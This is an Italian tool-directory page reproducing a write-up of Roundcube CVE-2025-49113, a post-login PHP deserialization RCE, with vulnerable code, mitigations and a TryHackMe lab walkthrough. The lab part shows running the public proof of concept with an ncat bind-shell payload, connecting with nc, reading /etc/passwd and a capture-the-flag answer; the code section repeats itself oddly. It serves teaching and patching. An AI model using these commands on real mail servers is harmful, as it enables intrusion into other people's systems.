Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Roundcube_CVE-2025-49113 — Spiegazione + Laboratorio su THM | Kitploit
Strumenti/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Analisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Spiegazione + Laboratorio su THM

1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

RCE in Roundcube (CVE-2025-49113) - La mia annotazione Obsidian .md

{{date}} {{time}}

Stato: Completato

Lab: Facile

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

da KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Impatto: esecuzione remota di comandi post-login (CVSS 9.9)
Versioni interessate: ≤ 1.5.10 / 1.6.10
Patch: 1.5.11 e 1.6.11


1 – Cronologia

DataEvento
~2014Introduzione della rotta program/actions/settings/upload.php con uso di session->append() senza validazione.
03 giu 2025Ricercatori di @FearsOff pubblicano l'advisory e annunciano PoC.
04 giu 2025Roundcube applica commit 0376f69 (1.6-stable) e commit 7408f31 (1.5-lts).
06 giu 2025PoC pubblicata su github . (fearsoff-org/CVE-2025-49113)
10 giu 2025Sfruttamento di massa.

2 – Dove si trovava il problema

Codice vulnerabile (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);

L'input _from arriva completo dal GET e poi diventa parte del nome di un nodo nella sessione e
durante il primo append(), Roundcube fa:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo

$rcmail->session->append($type . '.files', $id, $attachment);

Se il file esiste, l'RCE ha funzionato.


3 – Mitigazioni

  1. Aggiorna immediatamente a ≥ 1.6.11 o ≥ 1.5.11.

  2. Se non riesci ad aggiornare, blocca qualsiasi _from contenente %22, %7C, !, . o byte di controllo tramite WAF, firewall o rewrite.

  3. Disabilita funzioni pericolose (proc_open, exec, etc.) in php.ini.

  4. Blocca gli upload nel pannello delle impostazioni e monitora i log.


4 - Lab - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Creato da tryhackme & strategos

1. Ricognizione

  1. Aprire la VM (MACHINE_IP) e l'AttackBox.

  2. Accedere a http://MACHINE_IP/roundcube con:

    utente: ellieptic password: ChangeMe123

    Funzionerà e farà il login normalmente:

    Schermata di login


2. Preparare l'exploit

Dopo aver verificato che tutto è attivo, eseguiamo l'exploit; per farlo accediamo alla PoC pubblicata su github precedentemente indicata e facciamo un git clone:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Preparare il payload

L'uso del payload è semplice: basta creare la bind shell e puntare a una porta con il file .php seguendo l'uso qui sotto:

php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– Lo script effettua il login, inietta l'oggetto PHP malizioso nel parametro _from, come detto prima, chiama l'endpoint upload.php e poi forza il logout per attivare
session_decode() → unserialize() → proc_open().

A volte mostra un errore CSRF; ignoralo e passa al passo successivo,
perché il comando di solito è stato eseguito comunque.

exploit


4. Connettersi alla shell

Se la bind shell ha funzionato, sta ascoltando sulla porta 1337 che abbiamo specificato; non ci resta che connetterci ad essa ora:

nc MACHINE_IP 1337

Shell ottenuta.

shell


5. Rispondere alle domande

Domande e risposte

  1. Utente Maggie
    Domanda: Uno degli utenti ha il nome Maggie. Qual è il suo cognome?
    Risposta: Byte

Per risolvere questa domanda potevamo fare un cat di /etc/passwd grepando l'utente di maggie, o semplicemente un ls in /home

1

  1. Flag in /etc
    Domanda: Qual è il valore della flag salvata in /etc?
    Risposta: THM{ICE_CUBE_DESERIALISATION}

Per risolvere questo, ho fatto un cat /etc/flag* e per fortuna il nome del file era flag e così siamo riusciti a catturarla.

2


5 – Riferimenti

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • Write-up di FearsOff – https://fearsoff.org/research/roundcube

  • Blog di OffSec – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • Advisory GHSA – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Scarica lo strumento